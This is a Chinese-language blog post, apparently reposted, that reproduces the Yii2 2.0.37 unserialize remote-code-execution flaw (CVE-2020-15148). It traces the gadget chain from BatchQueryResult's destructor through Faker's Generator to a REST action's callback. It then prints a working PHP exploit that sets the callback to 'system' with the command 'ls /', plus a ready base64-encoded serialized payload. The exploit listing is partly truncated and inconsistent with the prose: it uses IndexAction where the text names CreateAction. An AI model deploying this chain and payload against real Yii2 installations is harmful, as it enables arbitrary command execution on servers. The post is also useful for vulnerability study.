前言: PHPthink 的链子有点长 暂时先复现一下简单点的框架,跟着师傅们的思路学习一下,提高一下自己的代码审计能力,搞完这个复现 也该去学java了 源码地址:https://github.com/yiisoft/yii2/relea
PHPthink 的链子有点长 暂时先复现一下简单点的框架,跟着师傅们的思路学习一下,提高一下自己的代码审计能力,搞完这个复现 也该去学java了
源码地址:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz
该漏洞适用于YII2.0.38之前,用户如果可以控制unserialize的传入值,则可以进行远程代码执行。
环境用的是phpstudy。 需要 修改config\WEB.php中cookieValidationKey为任意值,作为yii\web\Request::cookieValidationKey的加密值,不然会发送报错。
一般的反序列化链子 都会以魔术方法 __destruct 作为起点来找利用点 这个漏洞也是的。 全局搜索 __destruct ,对于这个魔术方法 有很多文件都有, 只能一个一个去找利用点 去探索了。
其实开查找 也挺方便的 直接 CTRL + 左键 ,最终找到 /vendor/yiisoft/yii2/db/BatchQueryResult.php reset() 方法可以利用 这会又可以调用 _dataReader下的close方法。
class BatchQueryResult{ private $_dataReader; public function __destruct() { // make sure cursor is closed $this->reset(); } public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); } $this->_dataReader = null; $this->_batch = null; $this->_value = null; $this->_key = null; }}
而这里的 $_dataReader 是可控的 ,那么我们就可以联想到__call 方法,让_dataReader 成为一个类 去调用 __close() ,如果该类中没有__close 方法,就会自动调用__call方法。
__call : 在对象中调用一个不可访问方法时,__call会被调用。
继续 全局搜索__call ,找到 一条错误的链子( 可以跳过,直接去看我下面正确的链子)
src\Codeception\Util\Maybe.php中的 __call方法()
public function __call($method, $args) { if ($this->val === null) { return new Maybe(); } return call_user_func_array([$this->val, $method], $args); }
think : 这个 val 可控,但是我们调用的 close()方法是无参的 这里的 $method应该是 close方法,而$args 应该是空,所以 这条链子应该是用不了的 (如果我说错了,请各位师傅纠正我一下,因为我是真的菜)
继续全局找 __call() ,找到 src/Faker/Generator.php 可以看到:
public function __call($method, $attributes) { return $this->fORMat($method, $attributes); }
跟进一下这个 $this ->format()
src/Faker/Generator.php
public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }
call_user_func_array(callable
$callback
, array$args
): mixed把第一个参数作为回调函数(
callback
)调用,把参数数组作(args
)为回调函数的的参数传入。
这里是call_user_func_array直接出来了 ,跟进一下这个
$this->getFormatter($formatter)
public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); }
进入第一个 if 判断,如果 $this - > formatters[$formatter] 有值,就返回其值,
call_user_func_array的第二个 $arguments 的值,我们无法控制,默认为空数组,但是可以控制call_user_func_array的第一个参数,这样我们就可以通过它作为跳板去无参调用其它类的方法。
所以我们能够做到的只有两个办法,一个就是调用 yii2 中的无参方法,或者调用 原生类php 的类似 phpinfo() 这样的无参方法,但是肯定事不能RCE的,所以我们的思路是要调用Yii框架中的无参的 call_user_func_array 作为跳板 再次调用执行。
例如:
但是有个问题, 无参的参数实在是太多了,一个一个找肯定费时费力,这就要学习一下其他师傅的高深只会,直接 用正则匹配来搜索含有 call_user_func_array的方法
全局搜索进行正则匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
找到 /vendor/yiisoft/yii2/rest/CreateAction.php 这样就一目了然了
public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } return $this->prepareDataProvider(); }
恰好恰好的是 ctrl +左键可以点击 check Access 和 id 刚好这两个值是可控的,那么链子就可以连上了!
总结一下此条链子的利用:
yii\db\BatchQueryResult::__destruct()->Faker\Generator::__call()->yii\rest\CreateAction::run()
我的EXP:
_dataReader =new Generator(); } }}namespace Faker{ use yii\rest\IndexAction; class Generator{ protected $formatters; public function __construct() { $this->formatters['close'] = [new IndexAction(), 'run']; #此处调用 IndexAction类中的 run方法 } }}namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct() { $this->checkAccess = 'system'; $this->id = 'ls /'; } }}//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6INLPaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6NDoibHMgLyI7fWk6MTtzOjM6InJ1biI7fX19fQ
yii 2.0.37以后的版本更新的链子 上课摸鱼的时候再审,现在我要去搞java了..晚会再更后面版本的写到这里
链子还是挺短 挺简单的,就是需要灵活利用魔术方法,还有回调函数. 学到了
来源地址:https://blog.csdn.net/snowlyzz/article/details/127519938
--结束END--
本文标题: Yii2框架 反序列化漏洞复现(CVE-2020-15148)
本文链接: https://lsjlt.com/news/386006.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0